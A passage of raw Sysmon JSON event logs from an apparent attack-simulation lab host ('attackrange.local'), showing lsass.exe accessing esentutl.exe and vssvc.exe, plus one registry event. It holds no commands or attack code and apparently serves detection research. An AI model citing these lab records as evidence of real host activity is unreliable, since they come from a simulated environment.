11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5487,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.463\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-00105A4F0800}\r\nTargetProcessId: 4852\r\nTargetImage: C:\\Windows\\system32\\esentutl.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.463","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-00105A4F0800}","TargetProcessId":"4852","TargetImage":"C:\\Windows\\system32\\esentutl.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5488,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.463\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-00105A4F0800}\r\nTargetProcessId: 4852\r\nTargetImage: C:\\Windows\\system32\\esentutl.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.463","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-00105A4F0800}","TargetProcessId":"4852","TargetImage":"C:\\Windows\\system32\\esentutl.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5489,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.463\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-00105A4F0800}\r\nTargetProcessId: 4852\r\nTargetImage: C:\\Windows\\system32\\esentutl.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.463","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-00105A4F0800}","TargetProcessId":"4852","TargetImage":"C:\\Windows\\system32\\esentutl.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5490,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.463\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-00105A4F0800}\r\nTargetProcessId: 4852\r\nTargetImage: C:\\Windows\\system32\\esentutl.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.463","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-00105A4F0800}","TargetProcessId":"4852","TargetImage":"C:\\Windows\\system32\\esentutl.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5491,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.463\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 104\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-00105A4F0800}\r\nTargetProcessId: 4852\r\nTargetImage: C:\\Windows\\system32\\esentutl.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.463","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"104","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-00105A4F0800}","TargetProcessId":"4852","TargetImage":"C:\\Windows\\system32\\esentutl.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5492,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.463\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 104\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-00105A4F0800}\r\nTargetProcessId: 4852\r\nTargetImage: C:\\Windows\\system32\\esentutl.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.463","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"104","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-00105A4F0800}","TargetProcessId":"4852","TargetImage":"C:\\Windows\\system32\\esentutl.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":13,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":13,"OpcodeValue":0,"RecordNumber":5493,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Registry value set:\r\nRuleName: InvDB-DriverVer\r\nEventType: SetValue\r\nUtcTime: 2020-08-07 11:56:32.572\r\nProcessGuid: {90617006-3FD1-5F2D-0000-0010EB030000}\r\nProcessId: 4\r\nImage: System\r\nTargetObject: HKLM\\System\\CurrentControlSet\\Control\\Class\\{533c5b84-ec70-11d2-9505-00c04f79deaf}\\0000\\DriverVersion\r\nDetails: 10.0.14393.0","Category":"Registry value set (rule: RegistryEvent)","Opcode":"Info","RuleName":"InvDB-DriverVer","UtcTime":"2020-08-07 11:56:32.572","ProcessGuid":"{90617006-3FD1-5F2D-0000-0010EB030000}","Image":"System","TargetObject":"HKLM\\System\\CurrentControlSet\\Control\\Class\\{533c5b84-ec70-11d2-9505-00c04f79deaf}\\0000\\DriverVersion","Details":"10.0.14393.0","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5494,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.588\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 104\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-0010D6510800}\r\nTargetProcessId: 5008\r\nTargetImage: C:\\Windows\\system32\\vssvc.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.588","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"104","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-0010D6510800}","TargetProcessId":"5008","TargetImage":"C:\\Windows\\system32\\vssvc.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 